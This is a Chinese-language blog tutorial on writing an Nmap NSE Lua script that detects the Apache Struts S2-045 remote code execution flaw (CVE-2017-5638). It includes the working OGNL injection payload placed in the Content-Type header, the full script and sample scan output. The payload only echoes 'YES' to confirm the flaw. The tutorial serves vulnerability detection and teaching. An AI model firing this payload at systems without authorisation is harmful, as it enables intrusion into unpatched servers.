前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Web安全学习笔记之Nmap脚本编写

Web安全学习笔记之Nmap脚本编写

作者头像
Jetpropelledsnake21
发布2019-02-15 15:52:59
1.1K0
发布2019-02-15 15:52:59
举报
文章被收录于专栏:JetpropelledSnake

0x00 Nmap脚本简介

夜无眠,看了一下Nmap官方的英文API文档(全是English),瞬间心态崩塌,不想吐槽它们的nmap官网前端太丑了=。=,但是都是大牛啊,挺敬佩开源开发者的。 

Nmap最灵活的就是它的scripts了,在渗透测试中我们经常会用它来扫描服务、漏洞,而且很多脚本也可以用于漏洞利用,总之就是很强大啦~ 具体的介绍在这里:Nmap脚本使用指南

看过《Nmap渗透指南》一书,发现书中对于Nmap脚本的编写是轻描淡写,所以本文就利用一个漏洞实例给大家详细说说这个脚本如何开发的。PS:并没有说这本书不好,其实很好很好的。

0x01 实战编写前的思路

今天我用“Struts S2-045”这个漏洞来编写一个漏洞检测脚本。

PS:此文需要一点Lua语言基础。我也就看了个半调子 ,才写的这个文章,Lua大牛误喷。

思路: 它主要是给服务器端发送一个http请求,这个请求里的Content-type中就是我们的利用代码了。在这里可以称之为Payload。

相关链接:Struts 2 S2-045 Jakarta插件远程代码执行漏洞加固方法

我们先把Payload拿出来:

代码语言:javascript
复制
%{(#nikenb='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println('YES')).(#o.close())}

可以看到有一个YES,当服务器端相应YES的时候,我们就判定这个服务器存在此漏洞。

根据官方的文档,我们先载入指定的扩展库:

代码语言:javascript
复制
--
local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local vulns = require "vulns"

这些基本用于发送HTTP请求、字符串操作、漏洞结果生成、错误调试

添加一个漏洞描述 :

代码语言:javascript
复制
description = [[
The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 mishandles file upload, which allows remote attackers to execute arbitrary commands via a #cmd= string in a crafted Content-Type HTTP header, as exploited in the wild in March 2017.
References:
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
* http://www.cnvd.org.cn/flaw/show/CNVD-2017-02474
]]

这里我给出了CNVD和CVE编号的详细地址。

使用结果,这块可有可无,因为都是注释起来的:

代码语言:javascript
复制
-- @usage
-- nmap -sV -p- --script struts2-s2-045 <target>
-- nmap -sV -p- --script struts2-s2-045 --script-args uri=/aa.action <target>
-- @output
-- PORT   STATE SERVICE REASON
-- 80/tcp open  http    syn-ack
-- | struts:
-- |   VULNERABLE:
-- |   Struts S2-045
-- |     State: VULNERABLE (Exploitable)
-- |     IDs:  CVE:CVE-2017-5638
-- |       The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 mishandles file upload, which allows remote attackers to execute arbitrary commands via a #cmd= string in a crafted Content-Type HTTP header, as exploited in the wild in March 2017.
-- |
-- |     Disclosure date: 2017-03-07
-- |     References:
-- |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
-- |       http://www.cnvd.org.cn/flaw/show/CNVD-2017-02474
-- |_      http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638

添加作者:

代码语言:javascript
复制
author = {"email:payloads@aliyun.com bLog:payloads.online company:leafsec.com"}

这里我给出了我的邮箱、博客,当然只是个字符串,自己想写啥就写啥。但是你要在用户的角度考虑,参数以及说明尽量人性化。

0x02 第一个函数-前奏 

代码语言:javascript
复制
portrule = function(host,port)
    -- return port.protocol == "tcp" and port.number == 8899 and port.state == "open"
    return true
end

这个函数主要用于“第一次检测”,算是一个规则。

portrule变量名不可改变,否则会解析错误。 

当这个函数范围true的时候, 我们的漏洞检测函数才会被自动调用。

可以看到函数中有一行被注释了,这一行的意思是当前请求的协议是TCP并且端口号是8899并且是端口是打开状态,才会返回true。

如果当前函数返回false,那么漏洞检测函数就不会被调用,会继续下一个目标或端口的扫描。

当我们直接返回true,那么每个目标端口都会被传递给漏洞检测函数

听我说了这么多,漏洞检测函数到底是什么?

0x03 第二个函数-高潮

代码语言:javascript
复制
action = function(host, port)
  local useragent = stdnse.get_script_args(SCRIPT_NAME..".useragent") or nil
  local cookie = stdnse.get_script_args(SCRIPT_NAME..".cookie") or nil
  local referer = stdnse.get_script_args(SCRIPT_NAME..".referer") or nil
  local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or '/'
  local req = generate_http_req(host, port, uri,useragent,cookie,referer)
  if string.match(req.body, 'YES') then
    local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
    local vuln = {
      title = 'Struts S2-045',
      state = vulns.STATE.VULN,
      description = [[
The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 mishandles file upload, which allows remote attackers to execute arbitrary commands via a #cmd= string in a crafted Content-Type HTTP header, as exploited in the wild in March 2017.
      ]],
      IDS = {CVE = 'CVE-2017-5638'},
      references = {
        'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638',
        'http://www.cnvd.org.cn/flaw/show/CNVD-2017-02474'
      },
      dates = {
        disclosure = {year = '2017', month = '03', day = '07'},
      }
    }
    stdnse.debug1("There is a vulnerability in the current host")
    vuln.state = vulns.STATE.EXPLOIT
    return vuln_report:make_output(vuln)
  end
end

第二个函数就是action啦~

代码语言:javascript
复制
stdnse.get_script_args(SCRIPT_NAME..".useragent") or nil

stdnse用于处理用户的输入,这里调用了get_script_args用来接收用户输入的useragent参数值。

接下来我调用了一个自定义函数:

代码语言:javascript
复制
function generate_http_req(host, port, uri, useragent,cookie,referer)
  local payload = '%{(#nikenb=\'multipart/form-data\').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println(\'YES\')).(#o.close())}'
  local options = {header={}}
  options["no_cache"] = true
  options["header"]["User-Agent"] = useragent or 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0'
  options["header"]["Referer"] = referer or 'NULL'
  options["cookies"] = cookie or 'NULL'
  options["header"]["Content-Type"] = payload
  stdnse.debug1("Start scanning the vulnerability")
  local req = http.get(host, port, uri, options)
  return req
end

这里面有我们的Payload,然后装填User-Agent、Referer、Cookies、Content-Type、uri地址。

stdnse.debug1()这个函数用于输出调试信息,如果你要查看调试信息,那就在扫描的时候带上-d参数

最后我们用了http库中的get方法,发送了一个请求,返回一个结果对象。

是不是和Python差不多呢? :)

代码语言:javascript
复制
获取了结果对象我们就可以进行内容匹配了,如果在内容中寻找到我们的“YES”,那么就存在漏洞。
代码语言:javascript
复制
if string.match(req.body, 'YES') then
    local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
    local vuln = {
      title = 'Struts S2-045',
      state = vulns.STATE.VULN,
      description = [[
The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 mishandles file upload, which allows remote attackers to execute arbitrary commands via a #cmd= string in a crafted Content-Type HTTP header, as exploited in the wild in March 2017.
      ]],
      IDS = {CVE = 'CVE-2017-5638'},
      references = {
        'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638',
        'http://www.cnvd.org.cn/flaw/show/CNVD-2017-02474'
      },
      dates = {
        disclosure = {year = '2017', month = '03', day = '07'},
      }
    }
    stdnse.debug1("There is a vulnerability in the current host")
    vuln.state = vulns.STATE.EXPLOIT
    return vuln_report:make_output(vuln)
  end

这块就是做了一个字符串匹配,难点在于产生漏洞结果。

代码语言:javascript
复制
local vuln = {
      title = 'Struts S2-045',
      state = vulns.STATE.VULN,}

这个vuln的state属性就用来标识是否存在漏洞的。

如果存在漏洞,就赋值vulns.STATE.VULN,如果不存在,就赋值vulns.STATE.NOT_VULN

0x04 总结

具体可以多看看那些漏洞利用脚本,因为官方文档真的是不够全面,需要比较深的Lua功底才可以玩的666。

下面贴出完整代码:

代码语言:javascript
复制
--
local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local vulns = require "vulns"

description = [[
The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 mishandles file upload, which allows remote attackers to execute arbitrary commands via a #cmd= string in a crafted Content-Type HTTP header, as exploited in the wild in March 2017.
References:
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
* http://www.cnvd.org.cn/flaw/show/CNVD-2017-02474
]]

-- @usage
-- nmap -sV -p- --script struts2-s2-045 <target>
-- nmap -sV -p- --script struts2-s2-045 --script-args uri=/aa.action <target>
-- @output
-- PORT   STATE SERVICE REASON
-- 80/tcp open  http    syn-ack
-- | struts:
-- |   VULNERABLE:
-- |   Struts S2-045
-- |     State: VULNERABLE (Exploitable)
-- |     IDs:  CVE:CVE-2017-5638
-- |       The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 mishandles file upload, which allows remote attackers to execute arbitrary commands via a #cmd= string in a crafted Content-Type HTTP header, as exploited in the wild in March 2017.
-- |
-- |     Disclosure date: 2017-03-07
-- |     References:
-- |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
-- |       http://www.cnvd.org.cn/flaw/show/CNVD-2017-02474
-- |_      http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
--
---
author = {"email:payloads@aliyun.com bLog:payloads.online company:leafsec.com"}
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
-- categories = {"exploit","vuln","intrusive"}
-- portrule = shortport.http
portrule = function(host,port)
    -- return port.protocol == "tcp" and port.number == 8899 and port.state == "open"
    return true
end
function generate_http_req(host, port, uri, useragent,cookie,referer)
  local payload = '%{(#nikenb=\'multipart/form-data\').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println(\'YES\')).(#o.close())}'
  local options = {header={}}
  options["no_cache"] = true
  options["header"]["User-Agent"] = useragent or 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0'
  options["header"]["Referer"] = referer or 'NULL'
  options["cookies"] = cookie or 'NULL'
  options["header"]["Content-Type"] = payload
  stdnse.debug1("Start scanning the vulnerability")
  local req = http.get(host, port, uri, options)
  return req
end
action = function(host, port)
  local useragent = stdnse.get_script_args(SCRIPT_NAME..".useragent") or nil
  local cookie = stdnse.get_script_args(SCRIPT_NAME..".cookie") or nil
  local referer = stdnse.get_script_args(SCRIPT_NAME..".referer") or nil
  local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or '/'
  local req = generate_http_req(host, port, uri,useragent,cookie,referer)
  if string.match(req.body, 'YES') then
    local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
    local vuln = {
      title = 'Struts S2-045',
      state = vulns.STATE.VULN,
      description = [[
The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 mishandles file upload, which allows remote attackers to execute arbitrary commands via a #cmd= string in a crafted Content-Type HTTP header, as exploited in the wild in March 2017.
      ]],
      IDS = {CVE = 'CVE-2017-5638'},
      references = {
        'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638',
        'http://www.cnvd.org.cn/flaw/show/CNVD-2017-02474'
      },
      dates = {
        disclosure = {year = '2017', month = '03', day = '07'},
      }
    }
    stdnse.debug1("There is a vulnerability in the current host")
    vuln.state = vulns.STATE.EXPLOIT
    return vuln_report:make_output(vuln)
  end
end

在portrule 绑定的规则中可以自定义扫描规则来决定是否进行扫描

下面我们开启debug模式看看扫描结果:

代码语言:javascript
复制
nmap --script /home/liyingzhe/PycharmProjects/untitled/struts.nse 127.0.0.1 -d

关闭调试模式的扫描结果:

代码语言:javascript
复制
liyingzhe : /usr/share/nmap $nmap --script /home/liyingzhe/PycharmProjects/untitled/struts.nse 127.0.0.1

Starting Nmap 7.01 ( https://nmap.org ) at 2017-06-03 03:09 CST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000051s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE
80/tcp   open  http
631/tcp  open  ipp
1080/tcp open  socks
|_struts: ERROR: Script execution failed (use -d to debug)
3306/tcp open  mysql
|_struts: ERROR: Script execution failed (use -d to debug)
8899/tcp open  ospf-lite
| struts: 
|   VULNERABLE:
|   Struts S2-045
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2017-5638
|       The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 mishandles file upload, which allows remote attackers to execute arbitrary commands via a #cmd= string in a crafted Content-Type HTTP header, as exploited in the wild in March 2017.
|             
|     Disclosure date: 2017-03-07
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
|       http://www.cnvd.org.cn/flaw/show/CNVD-2017-02474
|_      http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638

Nmap done: 1 IP address (1 host up) scanned in 7.20 seconds
liyingzhe : /usr/share/nmap $

参考

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2018-06-01 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 Nmap脚本简介
  • 0x01 实战编写前的思路
  • 0x02 第一个函数-前奏 
  • 0x03 第二个函数-高潮
  • 0x04 总结
  • 参考
相关产品与服务
脆弱性检测服务
脆弱性检测服务(Vulnerability detection Service,VDS)在理解客户实际需求的情况下,制定符合企业规模的漏洞扫描方案。通过漏洞扫描器对客户指定的计算机系统、网络组件、应用程序进行全面的漏洞检测服务,由腾讯云安全专家对扫描结果进行解读,为您提供专业的漏洞修复建议和指导服务,有效地降低企业资产安全风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档